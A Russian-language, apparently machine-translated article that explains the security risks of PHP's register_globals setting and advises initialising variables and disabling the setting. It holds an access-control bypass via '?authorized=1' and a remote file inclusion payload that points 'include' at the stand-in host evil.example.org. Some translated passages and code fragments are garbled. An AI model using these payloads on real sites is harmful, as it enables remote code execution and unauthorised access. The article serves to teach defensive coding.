Параметр Register_globals по умолчанию отключен в версиях PHP 4.2.0 и выше. Хотя это не считается уязвимостью безопасности, это, безусловно, представляет собой угрозу безопасности. Таким образом, Register_globals всегда следует маскировать во время разработки.
Почему это угроза безопасности? Каждая ситуация требует отдельного объяснения для ее четкого описания, и очень сложно привести только один подходящий пример для каждой ситуации. В любом случае, наиболее распространенный пример описан в руководстве по PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitivity/data.php';} >When параметр Register_globals включен, доступ к этой странице можно получить с помощью параметра ?authorized=1, тем самым минуя контроль доступа. Конечно, эта очевидная уязвимость является результатом плохой разработки, а не Register_globals, но она явно увеличивает потенциал опасных уязвимостей. Устранив этот эффект, данные, отправленные клиентом, больше не будут влиять на обычные глобальные переменные (например, $authorized в этом примере). Лучший способ — инициализировать все переменные и установить для параметра error_reporting значение E_ALL, чтобы использование неинициализированных переменных не игнорировалось во время разработки.
Другой пример использования Register_globals: проблемы могут возникнуть при использовании include для включения динамических путей:
<?phpinclude "$path/script.php";?> Когда параметр Register_globals включен, эта страница может использовать ?path=http%3A % Доступ к параметру 2F%2Fevil.example.org%2F%3F делает код в этом примере эквивалентным следующему коду:
<?phpinclude 'http://evil.example.org/?/script.php'; >Если параметрallow_url_fopen включен (он включен по умолчанию даже в рекомендуемых php.ini), это будет включать удаленные файлы, такие как http://evil.example.org/ , а также локальные файлы. Это распространенная уязвимость безопасности, обнаруженная даже в некоторых очень известных проектах с открытым исходным кодом.
Инициализация $path позволяет избежать этой скрытой опасности, не защищая параметр Register_globals. Однако ошибки разработчика могут привести к тому, что переменные будут неинициализированы. Изменение глобальной конфигурации для блокировки параметра Register_globals может максимально избежать игнорирования этой скрытой опасности.
Удобство всегда приятно. Раньше нам приходилось вручную различать данные формы и обычные переменные. Также очень удобно использовать встроенные глобальные массивы $_POST и $_GET и не стоит рисковать, вызванный включением параметра Register_globals. Хотя я совершенно не согласен с тем, что включение параметра Register_globals означает слабую безопасность, я настоятельно рекомендую его отключить.
Следует добавить, что блокировка параметра Register_globals поможет разработчикам уделять больше внимания источнику данных, а это именно то качество, которым должен обладать разработчик, заботящийся о безопасности.